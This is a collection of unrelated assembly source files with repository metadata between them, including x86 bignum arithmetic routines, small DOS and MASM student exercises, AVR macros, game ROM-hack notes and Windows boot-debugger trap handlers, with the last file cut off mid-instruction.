ebp mov DWORD [12+ebx],ecx jz NEAR L$013aw_end ; Tail Round 4 mov ecx,DWORD [16+esi] mov edx,DWORD [16+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 dec ebp mov DWORD [16+ebx],ecx jz NEAR L$013aw_end ; Tail Round 5 mov ecx,DWORD [20+esi] mov edx,DWORD [20+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 dec ebp mov DWORD [20+ebx],ecx jz NEAR L$013aw_end ; Tail Round 6 mov ecx,DWORD [24+esi] mov edx,DWORD [24+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [24+ebx],ecx L$013aw_end: pop edi pop esi pop ebx pop ebp ret global _bn_sub_words align 16 _bn_sub_words: L$_bn_sub_words_begin: push ebp push ebx push esi push edi ; mov ebx,DWORD [20+esp] mov esi,DWORD [24+esp] mov edi,DWORD [28+esp] mov ebp,DWORD [32+esp] xor eax,eax and ebp,4294967288 jz NEAR L$014aw_finish L$015aw_loop: ; Round 0 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx ; Round 1 mov ecx,DWORD [4+esi] mov edx,DWORD [4+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [4+ebx],ecx ; Round 2 mov ecx,DWORD [8+esi] mov edx,DWORD [8+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [8+ebx],ecx ; Round 3 mov ecx,DWORD [12+esi] mov edx,DWORD [12+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [12+ebx],ecx ; Round 4 mov ecx,DWORD [16+esi] mov edx,DWORD [16+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [16+ebx],ecx ; Round 5 mov ecx,DWORD [20+esi] mov edx,DWORD [20+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [20+ebx],ecx ; Round 6 mov ecx,DWORD [24+esi] mov edx,DWORD [24+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [24+ebx],ecx ; Round 7 mov ecx,DWORD [28+esi] mov edx,DWORD [28+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [28+ebx],ecx ; add esi,32 add edi,32 add ebx,32 sub ebp,8 jnz NEAR L$015aw_loop L$014aw_finish: mov ebp,DWORD [32+esp] and ebp,7 jz NEAR L$016aw_end ; Tail Round 0 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [ebx],ecx jz NEAR L$016aw_end ; Tail Round 1 mov ecx,DWORD [4+esi] mov edx,DWORD [4+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [4+ebx],ecx jz NEAR L$016aw_end ; Tail Round 2 mov ecx,DWORD [8+esi] mov edx,DWORD [8+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [8+ebx],ecx jz NEAR L$016aw_end ; Tail Round 3 mov ecx,DWORD [12+esi] mov edx,DWORD [12+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [12+ebx],ecx jz NEAR L$016aw_end ; Tail Round 4 mov ecx,DWORD [16+esi] mov edx,DWORD [16+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [16+ebx],ecx jz NEAR L$016aw_end ; Tail Round 5 mov ecx,DWORD [20+esi] mov edx,DWORD [20+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [20+ebx],ecx jz NEAR L$016aw_end ; Tail Round 6 mov ecx,DWORD [24+esi] mov edx,DWORD [24+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [24+ebx],ecx L$016aw_end: pop edi pop esi pop ebx pop ebp ret global _bn_sub_part_words align 16 _bn_sub_part_words: L$_bn_sub_part_words_begin: push ebp push ebx push esi push edi ; mov ebx,DWORD [20+esp] mov esi,DWORD [24+esp] mov edi,DWORD [28+esp] mov ebp,DWORD [32+esp] xor eax,eax and ebp,4294967288 jz NEAR L$017aw_finish L$018aw_loop: ; Round 0 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx ; Round 1 mov ecx,DWORD [4+esi] mov edx,DWORD [4+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [4+ebx],ecx ; Round 2 mov ecx,DWORD [8+esi] mov edx,DWORD [8+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [8+ebx],ecx ; Round 3 mov ecx,DWORD [12+esi] mov edx,DWORD [12+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [12+ebx],ecx ; Round 4 mov ecx,DWORD [16+esi] mov edx,DWORD [16+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [16+ebx],ecx ; Round 5 mov ecx,DWORD [20+esi] mov edx,DWORD [20+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [20+ebx],ecx ; Round 6 mov ecx,DWORD [24+esi] mov edx,DWORD [24+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [24+ebx],ecx ; Round 7 mov ecx,DWORD [28+esi] mov edx,DWORD [28+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [28+ebx],ecx ; add esi,32 add edi,32 add ebx,32 sub ebp,8 jnz NEAR L$018aw_loop L$017aw_finish: mov ebp,DWORD [32+esp] and ebp,7 jz NEAR L$019aw_end ; Tail Round 0 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 dec ebp jz NEAR L$019aw_end ; Tail Round 1 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 dec ebp jz NEAR L$019aw_end ; Tail Round 2 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 dec ebp jz NEAR L$019aw_end ; Tail Round 3 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 dec ebp jz NEAR L$019aw_end ; Tail Round 4 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 dec ebp jz NEAR L$019aw_end ; Tail Round 5 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 dec ebp jz NEAR L$019aw_end ; Tail Round 6 mov ecx,DWORD [esi] mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx add esi,4 add edi,4 add ebx,4 L$019aw_end: cmp DWORD [36+esp],0 je NEAR L$020pw_end mov ebp,DWORD [36+esp] cmp ebp,0 je NEAR L$020pw_end jge NEAR L$021pw_pos ; pw_neg mov edx,0 sub edx,ebp mov ebp,edx and ebp,4294967288 jz NEAR L$022pw_neg_finish L$023pw_neg_loop: ; dl<0 Round 0 mov ecx,0 mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [ebx],ecx ; dl<0 Round 1 mov ecx,0 mov edx,DWORD [4+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [4+ebx],ecx ; dl<0 Round 2 mov ecx,0 mov edx,DWORD [8+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [8+ebx],ecx ; dl<0 Round 3 mov ecx,0 mov edx,DWORD [12+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [12+ebx],ecx ; dl<0 Round 4 mov ecx,0 mov edx,DWORD [16+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [16+ebx],ecx ; dl<0 Round 5 mov ecx,0 mov edx,DWORD [20+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [20+ebx],ecx ; dl<0 Round 6 mov ecx,0 mov edx,DWORD [24+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [24+ebx],ecx ; dl<0 Round 7 mov ecx,0 mov edx,DWORD [28+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [28+ebx],ecx ; add edi,32 add ebx,32 sub ebp,8 jnz NEAR L$023pw_neg_loop L$022pw_neg_finish: mov edx,DWORD [36+esp] mov ebp,0 sub ebp,edx and ebp,7 jz NEAR L$020pw_end ; dl<0 Tail Round 0 mov ecx,0 mov edx,DWORD [edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [ebx],ecx jz NEAR L$020pw_end ; dl<0 Tail Round 1 mov ecx,0 mov edx,DWORD [4+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [4+ebx],ecx jz NEAR L$020pw_end ; dl<0 Tail Round 2 mov ecx,0 mov edx,DWORD [8+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [8+ebx],ecx jz NEAR L$020pw_end ; dl<0 Tail Round 3 mov ecx,0 mov edx,DWORD [12+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [12+ebx],ecx jz NEAR L$020pw_end ; dl<0 Tail Round 4 mov ecx,0 mov edx,DWORD [16+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [16+ebx],ecx jz NEAR L$020pw_end ; dl<0 Tail Round 5 mov ecx,0 mov edx,DWORD [20+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 dec ebp mov DWORD [20+ebx],ecx jz NEAR L$020pw_end ; dl<0 Tail Round 6 mov ecx,0 mov edx,DWORD [24+edi] sub ecx,eax mov eax,0 adc eax,eax sub ecx,edx adc eax,0 mov DWORD [24+ebx],ecx jmp NEAR L$020pw_end L$021pw_pos: and ebp,4294967288 jz NEAR L$024pw_pos_finish L$025pw_pos_loop: ; dl>0 Round 0 mov ecx,DWORD [esi] sub ecx,eax mov DWORD [ebx],ecx jnc NEAR L$026pw_nc0 ; dl>0 Round 1 mov ecx,DWORD [4+esi] sub ecx,eax mov DWORD [4+ebx],ecx jnc NEAR L$027pw_nc1 ; dl>0 Round 2 mov ecx,DWORD [8+esi] sub ecx,eax mov DWORD [8+ebx],ecx jnc NEAR L$028pw_nc2 ; dl>0 Round 3 mov ecx,DWORD [12+esi] sub ecx,eax mov DWORD [12+ebx],ecx jnc NEAR L$029pw_nc3 ; dl>0 Round 4 mov ecx,DWORD [16+esi] sub ecx,eax mov DWORD [16+ebx],ecx jnc NEAR L$030pw_nc4 ; dl>0 Round 5 mov ecx,DWORD [20+esi] sub ecx,eax mov DWORD [20+ebx],ecx jnc NEAR L$031pw_nc5 ; dl>0 Round 6 mov ecx,DWORD [24+esi] sub ecx,eax mov DWORD [24+ebx],ecx jnc NEAR L$032pw_nc6 ; dl>0 Round 7 mov ecx,DWORD [28+esi] sub ecx,eax mov DWORD [28+ebx],ecx jnc NEAR L$033pw_nc7 ; add esi,32 add ebx,32 sub ebp,8 jnz NEAR L$025pw_pos_loop L$024pw_pos_finish: mov ebp,DWORD [36+esp] and ebp,7 jz NEAR L$020pw_end ; dl>0 Tail Round 0 mov ecx,DWORD [esi] sub ecx,eax mov DWORD [ebx],ecx jnc NEAR L$034pw_tail_nc0 dec ebp jz NEAR L$020pw_end ; dl>0 Tail Round 1 mov ecx,DWORD [4+esi] sub ecx,eax mov DWORD [4+ebx],ecx jnc NEAR L$035pw_tail_nc1 dec ebp jz NEAR L$020pw_end ; dl>0 Tail Round 2 mov ecx,DWORD [8+esi] sub ecx,eax mov DWORD [8+ebx],ecx jnc NEAR L$036pw_tail_nc2 dec ebp jz NEAR L$020pw_end ; dl>0 Tail Round 3 mov ecx,DWORD [12+esi] sub ecx,eax mov DWORD [12+ebx],ecx jnc NEAR L$037pw_tail_nc3 dec ebp jz NEAR L$020pw_end ; dl>0 Tail Round 4 mov ecx,DWORD [16+esi] sub ecx,eax mov DWORD [16+ebx],ecx jnc NEAR L$038pw_tail_nc4 dec ebp jz NEAR L$020pw_end ; dl>0 Tail Round 5 mov ecx,DWORD [20+esi] sub ecx,eax mov DWORD [20+ebx],ecx jnc NEAR L$039pw_tail_nc5 dec ebp jz NEAR L$020pw_end ; dl>0 Tail Round 6 mov ecx,DWORD [24+esi] sub ecx,eax mov DWORD [24+ebx],ecx jnc NEAR L$040pw_tail_nc6 mov eax,1 jmp NEAR L$020pw_end L$041pw_nc_loop: mov ecx,DWORD [esi] mov DWORD [ebx],ecx L$026pw_nc0: mov ecx,DWORD [4+esi] mov DWORD [4+ebx],ecx L$027pw_nc1: mov ecx,DWORD [8+esi] mov DWORD [8+ebx],ecx L$028pw_nc2: mov ecx,DWORD [12+esi] mov DWORD [12+ebx],ecx L$029pw_nc3: mov ecx,DWORD [16+esi] mov DWORD [16+ebx],ecx L$030pw_nc4: mov ecx,DWORD [20+esi] mov DWORD [20+ebx],ecx L$031pw_nc5: mov ecx,DWORD [24+esi] mov DWORD [24+ebx],ecx L$032pw_nc6: mov ecx,DWORD [28+esi] mov DWORD [28+ebx],ecx L$033pw_nc7: ; add esi,32 add ebx,32 sub ebp,8 jnz NEAR L$041pw_nc_loop mov ebp,DWORD [36+esp] and ebp,7 jz NEAR L$042pw_nc_end mov ecx,DWORD [esi] mov DWORD [ebx],ecx L$034pw_tail_nc0: dec ebp jz NEAR L$042pw_nc_end mov ecx,DWORD [4+esi] mov DWORD [4+ebx],ecx L$035pw_tail_nc1: dec ebp jz NEAR L$042pw_nc_end mov ecx,DWORD [8+esi] mov DWORD [8+ebx],ecx L$036pw_tail_nc2: dec ebp jz NEAR L$042pw_nc_end mov ecx,DWORD [12+esi] mov DWORD [12+ebx],ecx L$037pw_tail_nc3: dec ebp jz NEAR L$042pw_nc_end mov ecx,DWORD [16+esi] mov DWORD [16+ebx],ecx L$038pw_tail_nc4: dec ebp jz NEAR L$042pw_nc_end mov ecx,DWORD [20+esi] mov DWORD [20+ebx],ecx L$039pw_tail_nc5: dec ebp jz NEAR L$042pw_nc_end mov ecx,DWORD [24+esi] mov DWORD [24+ebx],ecx L$040pw_tail_nc6: L$042pw_nc_end: mov eax,0 L$020pw_end: pop edi pop esi pop ebx pop ebp ret
16.187726
77
0.682649
0fbe8431c4597a6dd99d4d5668848e936ccf9e6f
898
asm
Assembly
21. EVEN-AND-ODD.asm
rng70/Assembly-Programming
38c60807b944b49e52f189930c5bf1beadf80d74
[ "MIT" ]
null
null
null
21. EVEN-AND-ODD.asm
rng70/Assembly-Programming
38c60807b944b49e52f189930c5bf1beadf80d74
[ "MIT" ]
null
null
null
21. EVEN-AND-ODD.asm
rng70/Assembly-Programming
38c60807b944b49e52f189930c5bf1beadf80d74
[ "MIT" ]
null
null
null
; PROGRAM TO DETERMINE EVEN AND ODD .MODEL SMALL .STACK 100H .DATA MSG1 DB 0AH, 0DH, "ENTER NUMBER: $" MSG2 DB 0AH, 0DH, NUM DB ?, " IS EVEN$" MSG3 DB 0AH, 0DH, NUM1 DB ?, " IS ODD$" .CODE MAIN PROC MOV AX, @DATA MOV DS, AX ; TAKE INPUT MOV AH, 9 LEA DX, MSG1 INT 21H MOV AH, 1 INT 21H MOV NUM, AL MOV NUM1, AL ; NOW DEVIDE NUMBER MOV BL, 2 DIV BL ; CHECK FOR EVEN ODD CMP AH, 0 JE EVEN JMP ODD EVEN: MOV AH, 9 LEA DX, MSG2 INT 21H JMP DOS ODD: MOV AH, 9 LEA DX, MSG3 INT 21H ; RETURN TO DOS DOS: MOV AH, 4CH INT 21H MAIN ENDP END MAIN
16.943396
39
0.405345
53dc5bf3ae8cff52a89596238145d1554d9aeea5
779
asm
Assembly
src/engine/utilities/store-direct-16.asm
jameswilddev/comb
ef75d7d54af1ad599a0d72cb08cc793fa3f0eec6
[ "MIT" ]
null
null
null
src/engine/utilities/store-direct-16.asm
jameswilddev/comb
ef75d7d54af1ad599a0d72cb08cc793fa3f0eec6
[ "MIT" ]
2
2021-04-17T09:31:24.000Z
2021-04-17T09:31:53.000Z
src/engine/utilities/store-direct-16.asm
jameswilddev/comb
ef75d7d54af1ad599a0d72cb08cc793fa3f0eec6
[ "MIT" ]
null
null
null
; Store a two-byte word from a register pair in 4 cycles. ; - The address of the low byte to store. ; - The r* to store the low byte from. ; - The r* to store the high byte from. .macro store_direct_16 ; This order is necessary as some registers seem to clear the low byte on setting the high. sts @0 + 1, @2 sts @0, @1 .endm ; Store a two-byte word from X in 4 cycles. ; - The address of the low byte to store. .macro store_direct_16_x store_direct_16 @0, r26, r27 .endm ; Store a two-byte word from X in 4 cycles. ; - The address of the low byte to store. .macro store_direct_16_y store_direct_16 @0, r28, r29 .endm ; Store a two-byte word from Z in 4 cycles. ; - The address of the low byte to store. .macro store_direct_16_z store_direct_16 @0, r30, r31 .endm
27.821429
93
0.711168
82bbd3fa71a9923c12ee0acd05210b79ee2365fd
1,678
asm
Assembly
Quiz and Lab Assessment/Solution/CODE/QUIZ2 VOWEL_COUNTER.asm
MohammadSakiL/CSE331L-Section-1-Fall20-NSU
52a984fd9cae962760c759306e7998bd9ee75afc
[ "MIT" ]
null
null
null
Quiz and Lab Assessment/Solution/CODE/QUIZ2 VOWEL_COUNTER.asm
MohammadSakiL/CSE331L-Section-1-Fall20-NSU
52a984fd9cae962760c759306e7998bd9ee75afc
[ "MIT" ]
null
null
null
Quiz and Lab Assessment/Solution/CODE/QUIZ2 VOWEL_COUNTER.asm
MohammadSakiL/CSE331L-Section-1-Fall20-NSU
52a984fd9cae962760c759306e7998bd9ee75afc
[ "MIT" ]
null
null
null
.MODEL SMALL .STACK 100H .DATA PROMPT_1 DB 'PLEASE ENTER A STRING : $' PROMPT_2 DB 0DH,0AH,'TOTAL NUMBER OF VOWEL IN THE STRING: $' STRING DB 50 DUP (?) C_VOWELS DB 'AEIOU' S_VOWELS DB 'aeiou' .CODE MAIN PROC MOV AX, @DATA MOV DS, AX MOV ES, AX LEA DX, PROMPT_1 MOV AH, 9 INT 21H LEA DI, STRING XOR DX, DX LEA SI, STRING OR BX, BX JE @EXIT @COUNT: LODSB LEA DI, C_VOWELS MOV CX, 5 REPNE SCASB JE @INCREMENT_VOWELS LEA DI, S_VOWELS MOV CX, 5 REPNE SCASB JE @INCREMENT_VOWELS JMP @NEXT @INCREMENT_VOWELS: INC DL JMP @NEXT @NEXT: DEC BX JNE @COUNT @EXIT: MOV CX, DX LEA DX, PROMPT_2 MOV AH, 9 INT 21H XOR AX, AX MOV AL, CL XOR AX, AX MOV AL, CH MOV AH, 4CH INT 21H MAIN ENDP
20.216867
66
0.287247
9ff3829af4b7c3f925fc9ad8ef6b3f76bdc8443d
100
asm
Assembly
gfx/pokemon/wigglytuff/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/wigglytuff/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/wigglytuff/anim.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
frame 0, 04 frame 1, 20 frame 2, 08 frame 0, 08 frame 2, 06 frame 0, 06 frame 2, 04 endanim
11.111111
12
0.63
6d56918d8f64dadb880c6ec5f283382d944063b4
726
asm
Assembly
EjerciciosClase/slides12x13.asm
adeandak/OPC
4384259c5f4e46d67a6c4417ea72953a62ccd901
[ "MIT" ]
null
null
null
EjerciciosClase/slides12x13.asm
adeandak/OPC
4384259c5f4e46d67a6c4417ea72953a62ccd901
[ "MIT" ]
null
null
null
EjerciciosClase/slides12x13.asm
adeandak/OPC
4384259c5f4e46d67a6c4417ea72953a62ccd901
[ "MIT" ]
null
null
null
TITLE *MASM Template (slides6x7.asm)* ; Descripcion: ; BGslides12x13 ; INCLUDE \masm32\Irvine\Irvine32.inc INCLUDELIB \masm32\Irvine\Irvine32.lib INCLUDELIB \masm32\Irvine\User32.lib INCLUDELIB \masm32\Irvine\Kernel32.lib .CODE ; Procedimiento principal main PROC ; IMUL Examples MOV EAX,4823424 MOV EBX,-423 IMUL EBX ; EDX:EAX = FFFFFFFF86635D80h, OF=0, CF=0 call DumpRegs call CrLf ; ++++++++ ; Your turn ... 3 MOV EAX, 0 MOV EBX, 0 MOV EDX, 0 MOV AX,8760h MOV BX,100h IMUL BX call DumpRegs call CrLf exit main ENDP ; Termina el procedimiento principal ; Termina el area de Ensamble END main
17.707317
62
0.62259
f6f4c48ff68f47a9c3f44049b3c87645323bb859
689
asm
Assembly
dino/lcs/item/1.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/item/1.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/item/1.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 00172E move.b #$1, ($1,A6) 001734 rts [123p+ 1, enemy+ 1, etc+ 1, item+ 1] 001736 clr.b ($1,A6) 00173A rts [123p+ 1, enemy+ 1, item+ 1] 0049C0 tst.b ($1,A6) 0049C4 bne $49d4 [enemy+ 1, etc+ 1, item+ 1] 0251AC clr.b ($1,A6) 0251B0 jsr $24a9a.l [item+ 1] 027E48 move.b #$1, ($1,A6) 027E4E move.l #$100000, ($44,A6) [item+ 1] 027EF2 move.b #$1, ($1,A6) 027EF8 move.l #$100000, ($44,A6) [item+ 1] 027F84 move.b #$1, ($1,A6) 027F8A move.l #$100000, ($44,A6) [item+ 1] 028002 move.b #$1, ($1,A6) 028008 move.b #$ff, ($2,A6) [item+ 1] copyright zengfr site:http://github.com/zengfr/romhack
32.809524
54
0.587808
fdb835a6a92982f45ab295ba18847d20581b1fa9
13,709
asm
Assembly
base/boot/bd/i386/trap.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/boot/bd/i386/trap.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/boot/bd/i386/trap.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
title "Trap Processing" ;++ ; ; Copyright (c) 1996 Microsoft Corporation ; ; Module Name: ; ; trap.asm ; ; Abstract: ; ; This module implements the code necessary to field and process i386 ; trap conditions. ; ; Author: ; ; David N. Cutler (davec) 1-Dec-96 ; ; Environment: ; ; Kernel mode only. ; ; Revision History: ; ;-- .386p .xlist KERNELONLY equ 1 include ks386.inc include callconv.inc include i386\kimacro.inc include mac386.inc .list extrn _BdDebugRoutine:DWORD page ,132 subttl "Equated Values" ; ; Debug register 6 (dr6) BS (single step) bit mask ; DR6_BS_MASK EQU 4000H ; ; EFLAGS single step bit ; EFLAGS_TF_BIT EQU 100h EFLAGS_OF_BIT EQU 4000H _TEXT$00 SEGMENT PUBLIC 'CODE' ASSUME DS:NOTHING, ES:NOTHING, SS:FLAT, FS:NOTHING, GS:NOTHING page ,132 subttl "Macros" ;++ ; ; GENERATE_TRAP_FRAME ; ; Macro Dexcription: ; ; This macro generates a trap frame and saves the current register state. ; ; Arguments: ; ; None. ; ;-- GENERATE_TRAP_FRAME macro ; ; Build trap frame minus the V86 and privilege level transition arguments. ; ; N.B. It is assumed that the error code has already been pushed on the stack. ; push ebp ; save nonvolatile registers push ebx ; push esi ; push edi ; push fs ; save FS segment register push -1 ; push dummy exception list push -1 ; dummy previous mode push eax ; save the volatile registers push ecx ; push edx ; push ds ; save segment registers push es ; push gs ; sub esp, TsSegGs ; allocate remainder of trap frame mov ebp, esp ; set ebp to base of trap frame cld ; clear direction bit endm page ,132 subttl "Debug Exception" ;++ ; ; Routine Description: ; ; Handle debug exceptions. ; ; This exception is generated for the following reasons: ; ; Instruction breakpoint fault. ; Data address breakpoint trap. ; General detect fault. ; Single-step trap. ; Task-switch breadkpoint trap. ; ; Arguments: ; ; On entry the stack contains: ; ; eflags ; cs ; eip ; ; N.B. There are no privilege transitions in the boot debugger. Therefore, ; the none of the previous ss, esp, or V86 registers are saved. ; ; Return value: ; ; None ;-- ASSUME DS:NOTHING, SS:NOTHING, ES:NOTHING align 16 public _BdTrap01@0 _BdTrap01@0 proc .FPO (0, 0, 0, 0, 0, FPO_TRAPFRAME) push 0 ; push dummy error code GENERATE_TRAP_FRAME ; generate trap frame ; ; Set exception parameters. ; and dword ptr [ebp] + TsEflags, not EFLAGS_TF_BIT ; clear TF flag mov eax, STATUS_SINGLE_STEP ; set exception code mov ebx, [ebp] + TsEip ; set address of faulting instruction xor ecx, ecx ; set number of parameters call _BdDispatch ; dispatch exception jmp _BdExit ; dummy _BdTrap01@0 endp page ,132 subttl "Int 3 Breakpoint" ;++ ; ; Routine Description: ; ; Handle int 3 (breakpoint). ; ; This trap is caused by the int 3 instruction. ; ; Arguments: ; ; On entry the stack contains: ; ; eflags ; cs ; eip ; ; N.B. There are no privilege transitions in the boot debugger. Therefore, ; the none of the previous ss, esp, or V86 registers are saved. ; ; Return value: ; ; None ; ;-- ASSUME DS:NOTHING, SS:NOTHING, ES:NOTHING align 16 public _BdTrap03@0 _BdTrap03@0 proc .FPO (0, 0, 0, 0, 0, FPO_TRAPFRAME) push 0 ; push dummy error code GENERATE_TRAP_FRAME ; generate trap frame ; ; Set exception parameters. ; dec dword ptr [ebp] + TsEip ; back up to int 3 instruction mov eax, STATUS_BREAKPOINT ; set exception code mov ebx, [ebp] + TsEip ; set address of faulting instruction mov ecx, 1 ; set number of parameters mov edx, BREAKPOINT_BREAK ; set service name call _BdDispatch ; dispatch exception jmp _BdExit ; dummy _BdTrap03@0 endp page ,132 subttl "General Protect" ;++ ; ; Routine Description: ; ; General protect violation. ; ; Arguments: ; ; On entry the stack contains: ; ; eflags ; cs ; eip ; error code ; ; N.B. There are no privilege transitions in the boot debugger. Therefore, ; the none of the previous ss, esp, or V86 registers are saved. ; ; Return value: ; ; N.B. There is no return from this fault. ; ;-- ASSUME DS:NOTHING, SS:NOTHING, ES:NOTHING align 16 public _BdTrap0d@0 _BdTrap0d@0 proc .FPO (0, 0, 0, 0, 0, FPO_TRAPFRAME) GENERATE_TRAP_FRAME ; generate trap frame ; ; Set exception parameters. ; _BdTrap0d10: ; mov eax, STATUS_ACCESS_VIOLATION ; set exception code mov ebx, [ebp] + TsEip ; set address of faulting instruction mov ecx, 1 ; set number of parameters mov edx, [ebp] + TsErrCode ; set error code and edx, 0FFFFH ; call _BdDispatch ; dispatch exception jmp _BdTrap0d10 ; repeat _BdTrap0d@0 endp page ,132 subttl "Page Fault" ;++ ; ; Routine Description: ; ; Page fault. ; ; Arguments: ; ; On entry the stack contains: ; ; eflags ; cs ; eip ; error code ; ; N.B. There are no privilege transitions in the boot debugger. Therefore, ; the none of the previous ss, esp, or V86 registers are saved. ; ; Return value: ; ; N.B. There is no return from this fault. ; ;-- ASSUME DS:NOTHING, SS:NOTHING, ES:NOTHING align 16 public _BdTrap0e@0 _BdTrap0e@0 proc .FPO (0, 0, 0, 0, 0, FPO_TRAPFRAME) GENERATE_TRAP_FRAME ; generate trap frame ; ; Set exception parameters. ; _BdTrap0e10: ; mov eax, STATUS_ACCESS_VIOLATION ; set exception code mov ebx, [ebp] + TsEip ; set address of faulting instruction mov ecx, 3 ; set number of parameters mov edx, [ebp] + TsErrCode ; set read/write code and edx, 2 ; mov edi, cr2 ; set fault address xor esi, esi ; set previous mode call 